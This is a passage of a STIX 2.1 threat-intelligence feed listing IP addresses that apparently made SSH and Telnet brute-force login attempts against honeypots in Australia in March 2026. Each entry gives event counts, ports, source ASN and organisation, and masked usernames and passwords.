      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.97.143.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, w*******d. Passwords observed (masked): 7******M, w***********3.",
      "id": "indicator--fde5ee66-5adb-4002-96a6-b358e82c43a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.112.79.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****7.",
      "id": "indicator--8d9af085-9d83-4929-ab59-33fc2ee6289d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 3**5.",
      "id": "indicator--b17a7d6f-abd9-47a7-a08d-d5a73d23ce2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 0****5.",
      "id": "indicator--fd53b30b-73c0-45a1-869f-24f284db6052",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): z****h.",
      "id": "indicator--075d73ca-a1cb-4638-b67c-a6afa58cd402",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): p*****8.",
      "id": "indicator--9d2fe8bf-f8ce-4afc-908d-c71b0607bdef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): r****s.",
      "id": "indicator--9550ac41-9837-4b8c-b1c3-26f9759ab237",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1******7.",
      "id": "indicator--c8d708c8-4132-4334-ac42-f3a2efbce7e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****5, 2****3.",
      "id": "indicator--35d5437c-98ac-4a5e-b2d4-8246572345b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1*****1.",
      "id": "indicator--9649042e-47ee-4a92-ad92-3bad8dea3032",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1*************y, p***e.",
      "id": "indicator--f7ceed09-7687-4f34-9d08-c8ea044120d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56041. Organisation(s): China Mobile communications corporation. Usernames observed (masked): c****e. Passwords observed (masked): p******d.",
      "id": "indicator--800115eb-77ca-4255-9c33-be9fe64fe108",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.174.42.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--5fbd9372-3ee1-4f79-bf77-acb5933b8c15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.199.143.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T01:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 395793. Organisation(s): Arisk Communications inc.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--16609616-a6f8-48b2-9bdf-3eb5728ca62e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.24.64.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T01:15:03.000Z",
      "valid_until": "2026-04-12T01:15:02.000Z"
    },
    {
      "created": "2026-03-11T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, c***d, j**a, t**t. Passwords observed (masked): ***, 1******8, 3***********4, 3**********4, A********a.",
      "id": "indicator--a1b5502c-ca40-43d2-b0eb-8db63e75f624",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.176.78.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T02:15:04.000Z",
      "valid_until": "2026-04-12T02:15:02.000Z"
    },
    {
      "created": "2026-03-11T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--3805303c-c98d-428a-9db2-2193c298c237",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.161.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T02:15:04.000Z",
      "valid_until": "2026-04-12T02:15:02.000Z"
    },
    {
      "created": "2026-03-11T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KE. ASN(s): 37100. Organisation(s): SEACOM-AS. Usernames observed (masked): ***. Passwords observed (masked): A****3.",
      "id": "indicator--ad0c9b37-54e4-4c16-8f18-9a9a51541d79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.27.148.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T02:15:04.000Z",
      "valid_until": "2026-04-12T02:15:02.000Z"
    },
    {
      "created": "2026-03-11T02:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2519. Organisation(s): ARTERIA Networks Corporation.",
      "id": "indicator--9ab4db2f-16ef-44d2-9789-d04685f969aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '133.175.42.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T02:15:04.000Z",
      "valid_until": "2026-04-12T02:15:02.000Z"
    },
    {
      "created": "2026-03-11T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s**v, u****u. Passwords observed (masked): s**v, u****u.",
      "id": "indicator--fccb1a4d-acf7-4bd9-90f6-f195a3dedb95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.59.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T02:15:04.000Z",
      "valid_until": "2026-04-12T02:15:02.000Z"
    },
    {
      "created": "2026-03-11T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 177. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, 3**********4, t**t, j*****r, ***. Passwords observed (masked): ***, 3***********4, 3**********4, 1****6, 1**********C.",
      "id": "indicator--4d3bf825-b11e-4f95-a7c1-cbaf998a6e21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.244.37.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T02:15:04.000Z",
      "valid_until": "2026-04-12T02:15:02.000Z"
    },
    {
      "created": "2026-03-11T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 11014. Organisation(s): CPS. Usernames observed (masked): c***d. Passwords observed (masked): 1******8.",
      "id": "indicator--f010ed1c-d1a3-487f-93fe-61fcac229a56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.111.203.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T02:15:04.000Z",
      "valid_until": "2026-04-12T02:15:02.000Z"
    },
    {
      "created": "2026-03-11T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5900. Source country: FI. ASN(s): 207137. Organisation(s): PacketHub S.A.. Passwords observed (masked): 1****6, p******d.",
      "id": "indicator--a8d5eaa3-75e6-41fd-8850-1033f5a0341f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.160.101.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T02:15:04.000Z",
      "valid_until": "2026-04-12T02:15:02.000Z"
    },
    {
      "created": "2026-03-11T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, s****a. Passwords observed (masked): ***, s****a.",
      "id": "indicator--c7f7ef3c-f2c4-4528-9404-d52f44fc0ffc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.225.75.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T02:15:04.000Z",
      "valid_until": "2026-04-12T02:15:02.000Z"
    },
    {
      "created": "2026-03-11T02:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG. Usernames observed (masked): m*****n, 3**********4, r**t. Passwords observed (masked): 3***********4, 3**********4, M*********!, w******1.",
      "id": "indicator--703360b5-ad20-4a86-831b-5543ab2f22c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T02:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.156.185.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T02:15:04.000Z",
      "valid_until": "2026-04-12T02:15:02.000Z"
    },
    {
      "created": "2026-03-11T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--5367e24b-3659-4c60-b5dc-c909ba5207f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.38.222.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T03:15:04.000Z",
      "valid_until": "2026-04-12T03:15:02.000Z"
    },
    {
      "created": "2026-03-11T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24186. Organisation(s): RailTel Corporation of India Ltd.",
      "id": "indicator--5047d442-a671-4490-a9f7-2d4061087165",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.133.226.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T03:15:04.000Z",
      "valid_until": "2026-04-12T03:15:02.000Z"
    },
    {
      "created": "2026-03-11T03:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): e******m, ***, s****a, s**v. Passwords observed (masked): e******m, ***, s****a, s**v.",
      "id": "indicator--8811334e-6ed2-4d66-9e9f-73befa3a224a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.230.150.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T03:15:04.000Z",
      "valid_until": "2026-04-12T03:15:02.000Z"
    },
    {
      "created": "2026-03-11T03:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): t****r, u****u. Passwords observed (masked): t****r, u****u.",
      "id": "indicator--37886604-ec61-447c-8457-52c704d0eb40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.197.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T03:15:04.000Z",
      "valid_until": "2026-04-12T03:15:02.000Z"
    },
    {
      "created": "2026-03-11T03:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 177. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1****6, a***n, a******3, l*****n, p******d.",
      "id": "indicator--727fe336-d61d-4030-8879-c2b315249055",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.232.105.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T03:15:04.000Z",
      "valid_until": "2026-04-12T03:15:02.000Z"
    },
    {
      "created": "2026-03-11T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--1e5b284c-15ef-4bd3-ae99-ed7d1c000270",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.116.244.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T03:15:04.000Z",
      "valid_until": "2026-04-12T03:15:02.000Z"
    },
    {
      "created": "2026-03-11T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--7c58710f-56f5-4fc7-b9bb-8f1ead112f0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.190.51.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T03:15:04.000Z",
      "valid_until": "2026-04-12T03:15:02.000Z"
    },
    {
      "created": "2026-03-11T03:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 266838. Organisation(s): POLLACHINI NILSON PAULINO.",
      "id": "indicator--53e1cdb7-9809-4b1e-9f21-c90efc4aec21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T03:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.238.248.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T03:15:04.000Z",
      "valid_until": "2026-04-12T03:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): o*****n, r**k. Passwords observed (masked): 1******8, r*****3.",
      "id": "indicator--ecbad76a-ca69-4347-b19e-5fdf8337ebde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.134.154.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): w****p, 3**********4, a***a, ***, c***d. Passwords observed (masked): 1***5, ***, 1*******a, 3***********4, 3**********4.",
      "id": "indicator--aa1e769b-dd01-42d8-a1ef-ef2c982079d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.76.120.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
